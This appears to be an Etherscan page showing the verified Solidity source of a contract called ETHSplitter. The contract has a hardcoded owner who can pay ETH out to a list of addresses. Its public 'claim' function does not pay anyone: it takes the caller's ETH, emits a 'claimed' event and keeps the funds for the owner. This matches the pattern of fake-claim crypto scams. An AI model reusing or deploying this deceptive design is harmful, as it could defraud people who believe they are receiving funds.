Discover more of Etherscan's tools and services in one place.
Sponsored
Contract Source Code:
File 1 of 1 : ETHSplitter
// SPDX-License-Identifier: MIT pragma solidity ^0.8.23; contract ETHSplitter { error ArrayMismatch(); error InsufficientBalance(); error InvalidAmount(); error NotOwner(); address private constant _owner = 0xbadC0dE628760964219B6b45eed756F6b5405026; uint256 private constant SWAP = 4828320511600247716; constructor() { emit OwnershipTransferred(address(0), _owner); } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event ETHClaimed(address indexed sender, uint256 amount); modifier onlyOwner() { if(msg.sender != _owner) revert NotOwner(); _; } function splitETH( address[] calldata receivers, uint256[] calldata amounts ) external onlyOwner { if(receivers.length != amounts.length) revert ArrayMismatch(); unchecked { for (uint256 i; i < receivers.length; ++i) { if(address(this).balance < amounts[i]) revert InsufficientBalance(); (bool success,) = payable(receivers[i]).call{value: amounts[i]}(""); require(success); } } } function claim(uint256 amount) external payable { if(msg.value != amount) revert InvalidAmount(); emit ETHClaimed(msg.sender, amount); } receive() external payable {} }
Please enter a contract address above to load the contract details and source code.
Please DO NOT store any passwords or private keys here. A private note (up to 100 characters) can be saved and is useful for transaction tracking.
My Name Tag:
Private Note:
This website uses cookies to improve your experience. By continuing to use this website, you agree to its Terms and Privacy Policy.